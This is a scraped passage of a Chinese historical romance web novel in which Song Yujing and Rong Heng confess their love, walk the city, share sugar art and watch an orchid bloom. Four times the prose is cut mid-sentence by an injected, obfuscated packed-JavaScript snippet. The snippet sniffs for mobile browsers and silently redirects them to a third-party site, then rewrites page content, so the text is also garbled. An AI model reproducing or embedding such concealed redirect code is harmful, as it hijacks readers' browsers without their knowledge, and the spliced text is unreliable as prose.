“刚好碰到了父亲,被耽搁了一下,等我追出去时,你已经坐马车离开了。” 容珩的语气一瞬间冷淡疏离,完全不像在说亲生父亲。 宋予静知道他和镇国公关系不太好,转移话题:“你今天怎么也进宫参加赏花宴了?” “我猜测你应该会进宫赴宴,所以想来碰碰运气。”容珩顿了顿,温声问,“之前见你和国子监祭酒的次子说话,在聊些什么?” 她想了一会儿,才意识到他说的是谁,“就偶然遇上了,礼貌地打个招呼。” 容珩轻声问:“那你还碰到其他什么人了吗?” “没有,我都躲着他们。” 宋予静终于听出他看似随意语气里的不对劲,扭头笑眯眯地看着他,却不说话。 容珩轻咳一声:“你为何这般看着我?” “看你好看呀。”她往前靠近一点,“那你今天进宫有没有遇到什么年轻姑娘?” “没有。”他立即否认,“我一直都在找你。” 宋予静挑眉,有意逗他:“真的吗?” “我只看你一个人。” 她抿唇笑笑,挠挠他的手背,说:“我想问你一件事,你必须如实告诉我。” “嗯,你问。” “你是什么时候……”真要问出口时,她又有点不好意思,扭头盯着地面,换了个委婉的说法,“认清自己的心意。” 容珩的手搭在她的肩膀,轻轻一转,使得她无法避开他的目光,“大约是在八月底。” “那么早?” 宋予静算了算,正好是他拒绝她的邀约,不肯见她的时候,又想起另一件事。 “我当初问你有没有中意的议婚人选,你为什么要撒谎说没有?” “我在害怕。”容珩轻声回答,“我害怕你发现我异样的心思后,冷漠疏远,不愿意再理我。” 他与她一样害怕担心,不敢说出来。 “嗯,其实我也是。”她握住他的手,“当时我也撒谎了。” “我也有错,应该早点说出来。”容珩一时懊恼后悔,“不该由你先说。” “哎呀,结果是好的就行。”宋予静轻松地安慰他,“不过阿娘说的对,有时候是要直接说出来,不要平白浪费大好时光。” “令堂所言极是。” 闲坐片刻,宋予静抬头看天,估摸了下时辰,说:“宴会差不多要结束了,我们走吧。” 容珩应了声好,起身与她一起往外走。 沿着游廊拐过墙角,一名内侍迎面匆匆走来,躬身行礼,低头禀道:“世子,太子殿下有请。” “你先去吧。”她主动说,“我去见外祖母,然后再出宫。” 容珩皱眉,摆手让内侍先离开,“我大约要在文华殿多待一阵子,宴会结束后,你先回家,不必等我。” 宋予静只说:“你先去忙。” 目送容珩走远后,她走进正殿。 殿内只有太后坐在上首,几名宫女垂首站在旁边,没有看见什么世家公子的身影。 她暗暗松了口气,扬起笑容,走到太后跟前,唤道:“外祖母。” “怎么样?”太后直接问,“有没有遇到看顺眼的公子?” 答案当然是有的。 但容珩不在,宋予静不好直接说出来,含糊其辞:“我都没看见几个人。” 说完,瞧见太后似乎要追问,她连忙说:“外祖母,母亲都没怎么催我,您就让我多玩一两年呗。” 搬出庆阳长公主,太后果然不再多说,和蔼地笑笑:“罢了罢了,你也是个有主意的,我就不插手你们年轻人的事了。” “外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321462|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖母真好。” 陪着太后待了半个多时辰,宋予静方才离开。 走到宫门外,她往周围扫视一圈,镇国公府的马车还停在不远处。 她想了想,吩咐府里的车夫先驾车回去,悄悄找了个角落藏起来。 又等了小半刻钟,她终于看见容珩的身影出现在宫门口。 他一边向守卫出示腰牌,一边直接看向原本公主府停马车的位置。 那里空空如也。 容珩沉默地看了会儿,缓步走向国公府的马车。 “等等。” 他立时转身,眼中惊诧之色难掩。 宋予静两步走近,歪头道:“不知我有没有这个荣幸,请容世子护送我回府?” 容珩抿唇笑笑,顺着她的话头回答:“是在下荣幸之至。” 他遣走国公府的车夫,走到她的身侧,“我还以为你已经回去了。” “不是你让我先回家的吗?”她挑眉问,“怎么?你不舍得了?” “嗯。”容珩往她的身边靠近一分,“我想与你多待会儿。” “如你所愿。” 时辰尚早,天气正好,两人慢悠悠地往公主府的方向走。 瞧见前边卖香囊的摊子,宋予静连忙跑过去。 “慢点。” 容珩几步跟上来,与她一起看挂在架子上的各色香囊,问:“你看中哪个了?” 方才隔得远,她看见一个月白色香囊貌似绣的不错,现在走近细看,她又有些不喜欢上面的绣纹,摇头道:“没有。” 正准备继续往前走,眼前忽然出现一节雪白的衣袖。 宋予静疑惑地看向容珩。 “街上人多,牵住不容易走散。” 她忍住笑意,勾起衣袖握在手里,沿着袖边往上,抓住他的手腕,指尖上下跳动,又摩挲微微凸起的腕骨。 掌心的手腕一颤,容珩低垂眼帘,耳尖隐约透出一点微红。 她的手缓缓往下挪,贴住他的掌心,五指卡进指缝里,与他十指相扣。 “这样是不是更不容易走散?”宋予静晃晃牵在一起的手,故意凑到他的面前,“你说是吗?” “……是。” 瞥见容珩的耳尖似乎更红了,她终于忍不住轻笑出声,又在他看过来前,将笑声咽回去。 一路手牵手地回到公主府,宋予静看着近在咫尺的家门,步子越走越小。 但总归要停下脚步。 “我到家了。” 容珩“嗯”了声,抬头看了眼府门,问:“你明天有空吗?” “有。”她一口应承,“我们约在哪里见面?” “辰时正……”他顿了顿,改口道,“还是约在巳时初,天冷,你多睡会儿,在清水桥附近,如何?” 他如此体贴,宋予静笑盈盈地应了声“好”,又说:“你不能提前到。” 容珩跟着笑笑,终于舍得松开握了一路的手,目送她走进府门。 待她的身影消失在门内,他沉默地站了一会儿,转身往前走了几步。 身后忽然响起一阵急促熟悉的脚步声,容珩霎时回头。 宋予静朝他奔来,扑进怀里,示意他低头,凑近到他的耳边:“阿珩,明天见。” 容珩一怔。 趁着他愣神的空隙,她迅速往后倒退,俏丽脸庞上的红晕一闪而过,随即飞快地跑回去。 容珩不由笑笑,期待明天的相约。 48. 等待 宋予静拍拍脸颊。 热得烫手,她又以手作扇,不停扇风,试图驱散脸上的热意。 先前她跨进门内,不知为何,忽然想再看容珩一眼,恰好看见他形单影只地往回走。 她心尖轻轻一颤,来不及细想,猛地跑回去抱住他。 想起脱口而出的称呼,她倏地用力捂住脸,掌心摸到脸颊重新升腾的热意。 他会喜欢那个称呼吗? “你杵在这里做什么?”前边响起疑问声的同时,头被人轻轻一敲,“干啥还捂住脸?” 听出兄长的声音,宋予静悄悄揉按脸颊,压下些许热意,方才松开手,回答:“没……没事。” 宋归鸿上下打量,慢慢拧起眉头:“你的脸为什么这么红?” “没有!”她急声否认,“天这么黑了,肯定是你看错了。” “你今天进宫参加赏花宴遇见了谁?”宋归鸿眉头拧得更紧,“我怎么感觉你现在心情很不错?” 容珩那句“我喜欢你”骤然浮现在脑海里,仿佛还能感受到与他相拥时的温暖。 “你感觉错了。”宋予静径直从他身边经过,信口胡说,“我最近心情一直都不错。” 担心宋归鸿看出不对劲,她加快脚步走向正院,跨进正屋时,宋学士与庆阳长公主都坐在上首。 “回来了。”庆阳长公主笑问,“怎么样?在宫里玩的开心吗?” 她刚想点头,听见后面的脚步声,硬生生地止住,选了个折中的回答:“还好。” 庆阳长公主又问了她几句,听到太后心情愉悦,精神矍铄,笑得放心许多,吩咐侍女准备晚膳。 宋予静坐在母亲身边,夹了一筷子菜到庆阳长公主面前的碟子,一抬头就对上兄长的目光。 宋归鸿握住筷子,碗里的饭菜几乎不曾动过。 “鸿儿,今天的菜肴不合你的口味吗?”宋学士疑问,“怎么只吃那么几口?” 宋归鸿摇头,扒拉两口饭,继续盯着宋予静。 盯着兄长的目光,她努力挺直腰背,摆出一副安然无事的样子。 庆阳长公主看看她,再看看长子,“你为何一直盯着静儿看?” 宋学士亦问:“是啊,你到底在看什么?” 迎着父母疑惑的目光,宋归鸿缓缓开口:“我总觉得她今天有点不对劲。” 他的话刚出口,宋予静瞬间对上父母关切的目光,扬起嘴角:“可能是哥哥感觉错了。” 庆阳长公主来回看了她几眼,微微蹙眉,却没有多问。 幸好后来宋归鸿没再语出惊人,宋予静得以安心用完一顿晚膳。 回瑞雪居的路上,她凝视手里的灯笼,想起宋归鸿的担忧,琢磨着要如何将她与容珩一事告知家人。 直至回到瑞雪居,她还没有想出什么好的措辞,只能暂时按下此事,快步走进里间,翻出一个紫檀木盒。 她打开盒盖,小心取出里面的厚厚的一沓信,依照送来的先后顺序拆开,每一封都从头到尾细细看过。 一开始,容珩写的还比较含蓄,委婉地借用诗句回应她的心意,并邀请她有空在清水桥见上一面。 后来她迟迟没有回信,也不赴约,他的言辞越发忐忑不安,既担心她是否身子不适,又害怕她变了心意。 临到最后一封信,他直白写下喜欢二字。 宋予静捧住信纸,指尖抚过笺纸上娇艳多姿的绯色桃花,捧住脸颊,掌心慢慢感受到一股热意。 * 翌日清晨。 宋予静坐在梳妆台前,望着铜镜中的自己,再次检查发髻妆容无误后,站了起来,瞥见旁边的小匣子。 她又坐回去,打开匣子,盯着躺在里面的金丝白玉耳坠看了半晌,取出耳坠,对着镜子,小心戴上去。 左右摇摇头,耳坠轻晃,独山白玉闪过晶莹的微光。 宋予静揉揉脸,压住不停上扬的嘴角,离开家后,直奔清水桥。 依她对容珩的了解,即使昨日特意说过,但他势必还会提前到。 紧赶慢赶地到达清水桥附近,她一眼便看见临河而站的修长身影,连忙刹住脚步。 她转转眼睛,蹑手蹑脚地摸到他的背后。 趁着容珩还没有转身发现她,宋予静踮起脚尖,双手迅速捂住他的眼睛,捏起嗓子,装模作样地问:“猜猜我是谁。” 容珩却屈起膝盖,往下蹲了几分。 她顺势全脚站定,耐心等待他的回答。 等了半晌,他一直没有说话,她不由卸掉几分力气,虚虚捂住他的眼睛,以原本的嗓音重新问了一遍。 他依旧没有回答。 宋予静连忙松开手,转到他的面前,急声问:“你怎么了?” 容珩半阖眼帘,“没事。” 两手指尖相对戳了戳,她道歉:“对不起,我就是想跟你开个玩笑,你如果不喜欢的话,我以后不会这样做了。” “并非如此。”容珩抬起眼帘看了她一眼,又垂下,“我只是……只是……” 他一连说了两个只是,都没能说出剩下的话。 她往前走了两步,“你到底想说什么?” 容珩闭上眼睛,睫毛轻轻颤抖,“我只是不知道该如何称呼你。” 宋予静一怔。 竟然是如此简单的原因,却让他如此纠结。 “你喜欢就好呀。”她笑道,“虽然父亲他们都喜欢叫我静儿,但是无论你怎么称呼,我都喜欢。” 容珩睁开眼睛,定定地看着她,轻声唤道:“静静。” 她脆声应下,往前稍倾身子,在他期待的目光中,再次唤道:“阿珩。” 他的目光更亮了些,视线偏转,停在她的耳垂,“你今日为何戴上了耳坠?” “你亲手送给我的,我当然要戴了。”她轻捏耳坠中间的白玉,忍不住问,“好看吗?” “好看。”容珩顿了顿,又换了个说法,“很美。” 手往旁边一挪,宋予静揉揉冒出热意的耳尖,清清嗓子:“我们去哪玩?” “去河对面看看,如何?” 去哪都一样,只要和他待在一起,她点点头,转身往前走。 容珩走在她的身侧。 今日两人穿的都是广袖,行走间,衣袖垂落,又挨得近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338050|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,互相轻碰。 宋予静走上清水桥,手背忽然传来一阵微痒,似乎被人轻轻挠了一下,像是一片羽毛轻柔拂过,快而短暂。 她蹙眉看看手,并未看到任何异样,以为不小心被衣裳碰到了,没有理会。 快走到桥中间时,手背碰到一片温暖,被另一只宽厚的掌心盖住,随即往下挪,卡进她的掌心,与她相握。 她转头去看容珩。 他直视前方,眼睛眨得飞快,薄唇紧抿,喉结一滚,握住她的手却更紧了几分。 宋予静故意举起手,“你在做什么?” 容珩飞快地看了她一眼,给出与昨日相似的答案:“人多,这样不容易走散。” 她环顾四周,零星的几位行人匆匆路过,只有她和他两个人站在桥上。 她翘起小拇指,指腹摩挲他的手背,如愿看见他耳尖冒出一抹微红后,她终于老实下来,与他一起俯视桥下的河水。 天气渐冷,河水尚未结冰,但水面比夏天的时候下降了不少。 “明年七夕,我们一起走一趟清水桥。”容珩忽然开口,“好吗?” 宋予静俯视平静的河面,阳光灿烂,河水波光粼粼,不似夏夜时分的星河璀璨。 “不好。” 容珩脸上的笑意霎时一僵,握住她的手随之一紧,复又松开,“你不愿意的话……” “不是我不愿意。”她打断他,认真解释,“牛郎织女被银河相隔,一年到头,只有七夕才能借鹊桥相会,但是……” 她卡了一下,含糊地略过一些话,“难道你也想只在七夕见我一面吗?” 话音刚落,容珩立即反驳:“当然不是。” “不过明年七夕,我肯定会陪你。”她笑着许下承诺,“我保证。” “好。” 走下清水桥,沿着清水河漫步,顺道在铺子买了两包果脯,瞧见前方的四角凉亭,宋予静抬手一指,“我们先休息一会儿。” 凉亭不大,也没有其他游人。 她拉着容珩在栏边落座,从油纸包里捏起一块果脯,先尝尝味道,又捏起一块递到他的面前。 “我试过了,不会很甜。” 容珩接住果脯,捏在指尖,没有吃,反而问:“方才在桥上提及牛郎织女的典故时,我看你神色犹豫,是遇到什么难事了吗?” 他靠近一分,“可以说给我听听吗?我一定会帮你。” “其实也不算什么麻烦事。”她挠挠手心,“之前母亲问我……” 简单讲明之前与庆阳长公主的对话经过,宋予静叹了口气。 “我那时候不知道你的心意,只能借口还想再玩一两年,打消母亲为我相看婚事的念头,现在又没过多久,我如果跑去说我们的事,担心母亲会以为我还是在找借口逃避。” “怪我。”容珩握住她的手,“若是我早些将我的心意告诉你,就不至于让你如此为难。” “也不算为难了,母亲很宽容。”她讪笑两声,“可能要稍微推迟一些,等我找到合适机会,再告诉母亲。” 他摇摇头,低头凑近,轻轻一笑:“无妨,我愿意等你。” 49. 分享 他的语气听上去有些委屈,宋予静正想宽慰几句,又听到他说:“不过你要答应我一件事。” 容珩抓住她的手,“如果令堂为你相看婚事,你一定要想办法推掉。” 亲耳听见他说出婚事二字,她不免有点羞,但瞥见他神情中透漏出的紧张忐忑,她挑眉笑笑,补充道:“除了你。” 他没有说话,手握得更紧。 宋予静继续说:“不过你也一样,如果令尊为你议婚,你也不能答应。” “你放心。”容珩语气淡淡,“父亲从来没有理会过此事。” 闻言,她暗自叹息一声,摊开他的掌心,指尖轻缓地划过手心的纹路,停在中间慢慢打转。 指腹下的掌心一瞬间僵硬,随即放松,任由她动作。 转了半天,她又捧起他的手,凑到眼前细看。 “你这是在看手相?” “不是,我又不会。”她也说不出理由,“就是想看一看。” 倏忽一阵冷风刮过,鼻翼一痒,宋予静下意识揉揉鼻子。 “冷吗?”容珩捂住她的双手,“怪我,忘记带披风来了。” “你不要老是怪自己。”她无奈道,“按你这么说,我是不是也得怪自己没给你带披风?” 容珩的嘴唇翕动。 “况且我现在也不觉得冷啊。”她看了看他的手,“因为有你在。” 说着,宋予静往他的方向靠近几分,与他并肩而坐,抽出右手,盖住他的手。 离得近,她隐约闻见一阵清雅淡香,又在想昨夜她也让人拿熏香熏过衣裳,闻起来有些相似。 心里忽然觉得开心,她轻轻哼起小调。 哼完一小段,待她停下,容珩方才问:“这是什么乐曲?中秋时也曾听你唱过。” “老实说,我也不知道。”宋予静耸耸肩,解释道,“以前在江南的时候,我跟人去湖里采莲,经常听她们用当地的方言唱,可惜我待了那么多年,没能全部学会,只会哼一小段。” “就这么两三句。”她用拇指和食指比出一道小缝隙,“大意也很简单,说的是江南好风景,采莲多乐趣……你觉得好听?” “你唱的都好听。” 她抿唇笑了笑,又哼起来。 在凉亭待了片刻,宋予静拉起容珩到处闲逛,随意往前方一瞥,她脚步一顿,“你看!那里有个糖画摊子!” “那我们去看看。” 走近后,两名行人拿着刚做好的糖画离开。 摊主是位中年男子,满脸笑容地问:“公子,姑娘,两位想点个什么样式的糖画?” 宋予静想了想,转头问:“糖画很甜,就点一份,好吗?” 见容珩点头,她掏出铜钱递给摊主,说:“麻烦画个鲤鱼跃龙门。” “好嘞!” 摊主拿住一柄小铜勺,里面装着金黄色的糖浆,手腕灵活,几番上下左右的来回,灵动鲜活的鲤鱼渐渐浮现成型。 “姑娘,您拿好了。” 宋予静接住摊主递来的糖画,瞥见后面排队的客人,一把拉住容珩,快步离开。 糖浆熬得香浓,空气里弥漫着一丝甜味,她轻轻一舔,尝到一股浓郁香甜,再一口咬掉鲤鱼糖画的半边尾巴,咀嚼几下,嘴里满是浓浓甜味。 抬头发现容珩似乎看着她,更准确的说是在看她手里的糖画,她不由问:“怎么了?” “我可以……”容珩的视线从糖画移到她的脸上,“尝一下吗?” “当然可以了。”宋予静往后转身,“那我们再去买一份糖画,你想要什么……” “图案”两个字还未出口,她的手腕忽然被人轻轻握住,在她疑惑的目光中,他低头凑近,咬掉剩下半边尾巴。 她一愣。 容珩嘴唇微动,眉间慢慢蹙起,紧皱眉头地吞咽,凸起的喉结随之一滚。 顾不得耳尖倏忽生出的热意,宋予静连忙问:“是太甜了吗?” “……有一点。” “都说了会很甜,你干嘛要勉强自己?”她往路边看看,“是不是觉得很腻?我们去找间茶馆。” “不必找了。”容珩拉住她,“等这阵浓甜过去了就好。” “好吧。”宋予静再看看手里的糖画,往旁边一挪,“剩下的不给你吃了。” “好。” “你既然不爱吃甜的,为什么要尝试糖画呢?”她问,“我都觉得有点太甜了,你肯定会觉得腻。” “因为我想知道你喜欢什么样的甜。”容珩盯着她,“想知道你尝到的是什么味道。” 她倏地捏紧竹签。 舌尖残留糖画丝丝的甜味,沿着舌尖蔓延,一路甜到心里,嘴角不受控制地上扬。 宋予静摸摸脸颊,有些烫,扭头避开他的目光,“下次做糕点的时候,我让厨子少放点糖,我也尝尝你喜欢的甜是什么样子。” “之前在郊外别院,你让人做的莲子糖刚好。”容珩右手拇指抚过她的手背,“所以,你已经提前尝过了。” 她颔首应道:“嗯,我记住啦,下次我再让人按原来的法子做莲子糖。” 吃完糖画,又在街上逛了半天,宋予静抬头看天,日头逐渐西斜,已过申时。 她揪住衣袖口,“……时候不早了,我们该回家了。” 容珩的手一紧,半晌后,才说:“我送你回公主府。” “不要。”她笑盈盈拒绝,“以前都是你送我回家,今天换一下,我送你回去,好不好?” “这……” “好不好吗?”她晃动两人一直握在一起的手,“你就答应我嘛。” 容珩无奈应声:“好。” 宋予静去镇国公府的次数不算多,但位置记得牢,远远地瞧见国公府高高的院墙,她无意识放缓脚步。 容珩的脚步没有丝毫停顿,还说:“我们走快些。” 她干脆停下来,“你就这么想早点回家?是不是今天在外面跟我待的不开心?” “自然不是。”容珩同样止步,伸手挽起她脸颊边散乱的发丝,虚虚地捧住她的脸,“我今天很开心,也很想和你一直待在一起,但是……” 他轻声一叹:“冬日天黑得早,你早些回家,我更放心。” 知道自己生错闷气了,宋予静立即道歉:“对不起,我不该凶你的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369752|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“都说了,在我面前不必道歉。”容珩略一用力,掌心贴住她的脸颊,拇指轻轻摩挲,“以后你想说什么做什么都可以。” 她转转眼睛,“真的做什么都可以吗?” “自然。” 走到国公府的侧门,容珩吩咐门房去取灯笼,温声询问:“天快黑了,我派侍卫护送你回府,好不好?你如果不想被打扰,就让他们跟在后面,好不好?” 他连问两个好不好,如此好商好量,况且她也能明白他的担忧,当即答应:“好。” 容珩神情一松,接住门房递来的灯笼,交到她的手里,却握住灯柄没动。 宋予静同样站着没动。 明明从早上到傍晚,她与他一直待在一起,临到现在,还不想再和他分开。 “……好了。”容珩终于松开手,清润嗓音里含着浓浓不舍,“早些回家。” 她低声应了下,提着灯笼往前走。 即使没有回头,她也能感受到容珩的目光凝在后背。 快走到拐角时,宋予静终于转头回看。 容珩还站在府门前,门檐挂着两盏灯笼,驱散有些昏暗的夜色,在地面映出他的影子。 对上她的视线,他下意识往前走了两步,又停在原地,朝她挥手,示意她尽快回家。 她只得点头,转身大步流星地往前走。 镇国公府的两名侍卫不远不近地跟着,一路跟到公主府。 宋予静叫门房递给他们两盏灯笼,吩咐他们离开。 她重重叹息一声,揉揉脸颊,揉掉即使不照镜子也知道会有的低落不舍,走向正院。 跨过院门,她听见一道熟悉的声音:“去哪儿玩了?这么晚才回来。” “哥哥。”宋予静唤了一声,“也没去哪,就随便在外面逛逛。” 宋归抱着手臂,挑眉上下打量。 被兄长看得眉心一跳,她连忙他的身侧经过,几步走进正屋。 庆阳长公主和宋学士都在屋内,正对着一份单子商量事情。 宋予静自觉不去打扰,捧着热茶坐在旁边,瞧见宋归鸿也走进来后,端了杯热茶放到他的面前。 “就这么定了。”庆阳长公主一锤定音,“明日我吩咐人开始准备贺礼。” “娘,你和阿爹在说什么?”宋予静问,“最近是谁要过寿了?” “这个月的三十是礼部尚书六十岁的寿宴,我们家收到了请帖。”庆阳长公主回答,“我和你们父亲商量好了,到时你们都跟着一起赴宴。” 宋学士补充道:“记得将那天空出来。” 宋予静立即应了声好,仔细回想自家与礼部尚书府的渊源。 当年宋学士高中探花郎,被点进翰林院任职,当时掌管翰林院的便是如今的礼部尚书。 难怪庆阳长公主和宋学士如此重视。 陪着父母兄长用过晚膳,宋予静方才回到瑞雪居。 瞥见里间架子上的寒兰,她脚步一顿,几步走过去,手指轻点白色花苞,拿帕子擦过细长的绿叶。 “明天早上派人将这盆寒兰送去镇国公府给容世子。” 冬雪恭声应道:“是。” 50. 悠闲 “你怎么还是到的这么早?” 宋予静握住容珩的手,果然摸到一股凉意,双手连忙用力揉搓,揉得暖和起来后,皱眉道:“干嘛不找个地方坐坐,光站在屋外吹冷风。” “我怕你找不到我。” “才不会呢。”她握住他的手,“看来下次还是约在茶馆或者酒楼比较好,以免冷得感染风寒。” 容珩应好,视线在她的耳垂停留一瞬,“你今天为何没有戴耳坠?” 宋予静捏住光秃秃的耳垂,不大好意思地解释:“戴耳坠漂亮是漂亮,但有时候不方便,戴久还觉得有些重。” “我记住了。” 她挑眉,正准备询问时,又听到他说:“我们进这里看看。” “这是什么地方?” 宋予静走进院子后门,往后院瞄,看见几名正在搬运花瓶的伙计。 “是府里的瓷器铺。”容珩回答。 “那你带我来这儿做什么?”她问,“买瓷器?” “不是。”容珩推开屋门,“先进来,外面冷。” 进屋后,宋予静一眼看见摆在案上的寒兰,不由疑问:“我不是让人送到国公府……等等。” 她走近细看。 细长的绿叶里长着几朵寒兰,同样细长的四五片花瓣盛开,包裹嫩黄色花蕊,香气浓郁却不会刺鼻,反而觉得冷冽清幽。 “我还以为是我昨天送的那盆。”她摸摸鼻尖,“原来你也养了,早知道我就不送寒兰。” “但我只喜欢你送的。”容珩站在她的身侧,“为什么会想到送寒兰?” “因为我觉得寒兰花好看呀,到时候我可以陪你一起看花开。” 话音刚落,宋予静猛地扯住他的衣袖,指着花茎顶端的一粒细长花苞,声音不自觉地扬起来。 “诶诶,它是不是要开花了?” “大约是。” 她屏住呼吸,紧紧盯着花苞,眼睛都不敢眨一下。 花开短暂,短短瞬间,花瓣全然绽开。 她仍盯着寒兰,暗暗感慨寒兰的摇曳多姿,视线倏忽一转,移到身侧的容珩。 他的嘴角噙着一抹清浅笑意,似是察觉到她的目光,转头看过来,“怎么了?” “没事。”宋予静重新站直,笑盈盈道,“就是觉得能和你一起亲眼看到寒兰开花,真好。” 容珩一怔,问:“你以前没有见过?” “见过。”她拉住他,坐在旁边的椅子,“但跟你一起看是特别的。” 容珩眉间笑意更深,“要不要画一副寒兰图?” “好啊。”她一口答应,“画下来,到时候我们还可以一块重温。” 屋里摆有书案,放着笔墨纸砚等。 宋予静随容珩走到案后,瞥见上面的账册,迅速移开视线。 “你想看?”容珩铺好画纸,“这是铺子上个月的账册,想看的话直接看就好了。” “一点都不想。”她立即拒绝,“我之前看的账册够多了,今天只想玩。” 容珩笑笑,拿镇纸压住画纸。 因是平日里看账册的书案,少作画,并没有准备颜料。 宋予静取了一块墨锭,往砚台里加了清水,握住墨锭,细细研磨。 墨水渐渐洇散开来,手腕露在外面久了有些凉,她拉下袖子,转头却对上容珩的目光,似乎落在她的手腕。 不等她问,他又转开视线,握住狼毫,蘸足墨水,笔尖在纸上勾画,墨色寒兰姿态渐渐浮现出来,清幽高雅。 她单手托腮,看了一会儿寒兰图,视线不由往上,移到他认真的眉眼。 宋予静忍不住笑起来,在他看过来前,又看向画纸。 画完最后一片兰叶,容珩放下毛笔,问:“画得如何?” 她诚心诚意地赞美:“那自然是非常漂亮了。” “等墨迹干了后,我再装裱起来。” 宋予静笑笑,瞧见窗外光线变得明亮,有了新念头,说:“我们去屋外看看。” 不等容珩回答,她一把拉住他跑到院子里。 早间时分,天空飘荡着几片阴云,太阳半亮不亮。 此时阴云褪去灰色,变得纯白,天空瓦蓝澄净,圆圆的暖日高挂,浅金色阳光倾洒大地。 她闭上眼睛,张开手臂,感受阳光照在身上的暖意,又睁开眼睛,转身跑回屋,一手提着一张圈椅。 “我来。”容珩迅速上前帮忙,接过两张椅子,只问,“放到哪里?” “放在靠近廊檐的地方。” 等他并靠摆好两张椅子,宋予静率先坐定,仰面靠在椅背。 椅背太直了,靠得久了不舒服,她又重新坐直,叹道:“可惜这里没有躺椅,不然这么好的天,最适合在院子里晒太阳了。” 容珩坐在旁边,“我让人准备躺椅,你想要什么样式的?” “样式没有要求,不过放在这里也不合适。”她扫了眼院子,“还得做生意呢。” 瞥见他挺直腰背,坐姿端正,宋予静侧身扯扯他的衣袖,胳膊搭在椅子扶手上,“你干嘛坐得这么正经?又没外人,放松点啦。” “习惯了。” 容珩果然卸了几分力气,虚靠在椅背,微微眯起眼睛,往周围扫视一圈。 院子里原本守着几名伙计,立即垂首行礼,快步离开。 “阿珩,你快看!”宋予静抬手一指,“快看那朵白云!” 容珩顺着她指的方向看去。 一簇白云在空中幻化成骏马,马头高扬,四肢矫健奔腾,马尾在蓝空中留下一道长长的白色痕迹。 她托住下巴,“我觉得有点像大白。” “嗯,是有些像。” 白云随风继续变幻,汇聚成高耸的山峦,又被太阳一照,山峰倾倒,跌入宽阔的云海间,变得圆滚滚。 望着云朵,指尖轻点脸颊,宋予静想起来的路上看见的果树,猛地站起来,“我出去一会儿。” “去哪?”容珩紧跟着站起来,“我陪你去。” 她还想给他一个惊喜,连声拒绝:“不用,我自己去就好,保证一刻钟内回来。” 见状,容珩只得答应:“你小心些,早点回来。” 宋予静脆声答了句好,大步往外走。 目送她的身影消失在门口,容珩方才收回视线,回屋看了眼刻漏。 竟然已经巳时末。 容珩笑笑,倒了两杯热茶,端到屋外,放在圈椅旁边的小案几上。 他想了想,端起其中一杯,捧在手心,目光直直地凝在院门。 等了一会儿,依旧没有等到宋予静,他不由皱起眉,刚放下茶杯准备去找她,就看见她急匆匆的身影冲进来,当即两步上前。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404259|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪了?怎么还出汗了?” 容珩抬起衣袖,轻柔地擦拭她额头上的薄汗。 宋予静双眼亮晶晶的,骨碌碌地一转,“阿珩,你先闭上眼睛,好不好?” 他瞧了眼她一直背在身后的双手,阖上眼帘。 “你伸出手,打开手心。” 容珩依言照做。 眼前一片黑暗,微风拂过掌心,略起凉意,但他知道宋予静一直站在面前,明亮眼瞳里闪着细碎春光。 手心忽然一重,依稀摸出来是个圆圆的东西,随即听见她清脆悦耳的声音:“你猜猜是什么?” 容珩顺势握住,样式扁圆,拇指摸到顶端四瓣厚叶子,还有短短的一节梗,表皮光滑,略带一股清浅的果香。 “柿子。” “猜对啦!” 容珩睁开眼睛,掌心躺着一个红彤彤的圆柿子,“你这是从哪里摘的?” “就在前面巷子口,我看见有户人家后院种了柿子树,就去买了几个。” 宋予静的手一转,手心又露出一个柿子,狡黠地眨眨眼睛:“容世子,我请你吃柿子。” 容珩哑然失笑,指尖略一用力,抠开柿子底部的小黑点,撕开果皮,露出同样红彤彤的果肉。 他微微低头,想先尝一下味道,一道黑影风一般地凑近,一口咬住半块柿子肉。 “嗯,口感滑嫩,虽然有点涩,但被甜味冲淡了。”宋予静的脸颊微微鼓起,认真点评,“总体来说,这柿子味道不错。” 